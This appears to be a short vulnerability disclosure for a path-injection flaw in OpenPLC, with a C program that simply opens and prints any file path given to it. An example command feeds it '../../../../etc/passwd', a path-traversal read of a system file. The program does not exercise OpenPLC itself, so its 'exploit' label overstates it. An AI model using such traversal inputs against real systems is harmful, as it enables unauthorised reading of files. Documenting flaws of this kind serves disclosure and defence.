CVE-2026-31156 OpenPLC路径注入漏洞

// PoC for CVE-2026-31156 Path Injection // The vulnerable binary accepts a file path argument directly. // An attacker can supply a relative path to read arbitrary files. #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <file_path>\n", argv[0]); return 1; } // Simulating the vulnerable behavior in glue_generator // In the real vulnerability, this path goes to fopen/ifstream without validation char *user_supplied_path = argv[1]; printf("Attempting to open: %s\n", user_supplied_path); FILE *fp = fopen(user_supplied_path, "r"); if (fp == NULL) { perror("Error opening file"); return 1; } char ch; while ((ch = fgetc(fp)) != EOF) { printf("%c", ch); } fclose(fp); return 0; } /* Compilation and Execution: gcc poc.c -o poc_exploit ./poc_exploit "../../../../etc/passwd" */